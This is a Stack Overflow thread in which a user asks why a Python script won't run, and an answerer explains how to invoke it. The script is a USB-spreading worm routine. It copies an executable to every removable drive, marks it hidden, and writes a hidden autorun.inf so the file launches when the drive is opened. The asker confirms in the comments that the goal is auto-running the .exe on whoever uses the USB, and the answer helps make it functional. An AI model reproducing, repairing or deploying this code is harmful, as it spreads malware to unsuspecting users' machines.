-1

Hello I'm trying to compile this code but I don't get it to compile nothing at all, I don't get any error at compiling, but no results either, the folder stays with the .py file only

import win32api
import win32con
import win32file
import sys
import os

class Spreader(object):
    def __init__(self, path):     # path must be absolute
      print (" [*] Checking information")

      self.filename = path.split("\\")[-1]
      self.driveFilename = self.filename

      if not self.driveFilename.startswith("~"):
        self.driveFilename = "~" + self.driveFilename

      print ("\t- Local filename: ") + self.filename
      print ("\t- Driver filename: ") + self.driveFilename

      self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename

      print ("\t- Full path: ") + self.path

      print ("\n [*] Getting removable drives")
      self.drives = self.__getRemovableDrives()

      if len(self.drives) == None:
        print (" [-] No removable drives available")
      sys.exit()

      for drive in self.drives:
        print ("\t- ") + drive

      print ("\n [*] Spreading")
      self.__spread()

      print ("\n [+] Successfully spread")

    def __getRemovableDrives(self):
      removableDrives = []
      drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]

      for drive in drives:
        driveType = win32file.GetDriveType(drive)

      if driveType == win32file.DRIVE_REMOVABLE:
            removableDrives.append(drive)

      return removableDrives

    def __spread(self):
      for drive in self.drives:

        if drive == "A:\\":
            continue

      else:

            driveFile = drive + self.driveFilename
            driveAutorun = drive + "autorun.inf"

            print (" [+] ") + drive

            if not os.path.exists(driveFile):
              self.__copyFile(driveFile)

            if not os.path.exists(driveAutorun):
              self.__createAutorun(driveAutorun)

    def __copyFile(self, driveFile):
      print ("\t- Copying file: ") + self.driveFilename,
      win32file.CopyFile(self.path, driveFile, 0)
      print ("\t\t\tDONE")

      print ("\t- Hidding file"),
      win32api.SetFileAttributes(driveFile,\
             win32con.FILE_ATTRIBUTE_HIDDEN)
      print ("\t\t\tDONE")

    def __createAutorun(self, driveAutorun):
      print ("\t- Creating autorun.inf"),
      autorun = open(driveAutorun, "w")
      content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=@{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}""".format(self.driveFilename)
      autorun.write(content)
      autorun.close()
      print ("\t\t\tDONE")

      print ("\t- Hidding autorun"),
      win32api.SetFileAttributes(driveAutorun,\
             win32con.FILE_ATTRIBUTE_HIDDEN)
      print ("\t\t\tDONE")

Can someone help me out?

Anshul Goyal
  • 73,278
  • 37
  • 149
  • 186
Rodrigo
  • 13
  • 2

1 Answers1

3

You have written the code, but you never call your class and its method anywhere. As such, python just creates the class object etc and then does nothing more with it, because there are no more instructions to execute.

I think, at the minimum, you should add the following code to see what output/errors your code gives:

if __name__ == "__main__":
    spread = Spreader(some_path)

Note that you are creating method names with the __method convention, which means they are being name scrambled.

Since you are copying files, you can give the actual file path (the complete path of the exe being copied) in place of some_path above, and that should work. If not, you will need to debug deeper using pdb.

Finally, the __main__ block needs to be placed at the end of your script.

Community
  • 1
  • 1
Anshul Goyal
  • 73,278
  • 37
  • 149
  • 186
  • the script simply sends this example .exe to a USB and adds auto-start params so in theory when someone uses the USB they auto run the .exe. So how do i declare absolute path to my .exe ? also where can I add the main method? Im sorry for asking a lot of questions out of one answer :( – Rodrigo Apr 14 '15 at 04:22
  • @Rodrigo Since you are copying files, you can give the actual file path (the complete path of the exe being copied) in place of `some_path` above, and that should work. If not, you will need to debug deeper using `pdb`. Place the [`__main__` block](http://effbot.org/pyfaq/tutor-what-is-if-name-main-for.htm) at the end of your script. That said, the format for StackOverflow is one question per post, so I won't be able to answer further followups. And if that helped, don't forget to [accept the answer](http://meta.stackexchange.com/questions/5234/how-does-accepting-an-answer-work) :) – Anshul Goyal Apr 14 '15 at 04:32
  • thanks your have solved my issue with that last answer, thanks a lot :) – Rodrigo Apr 14 '15 at 04:32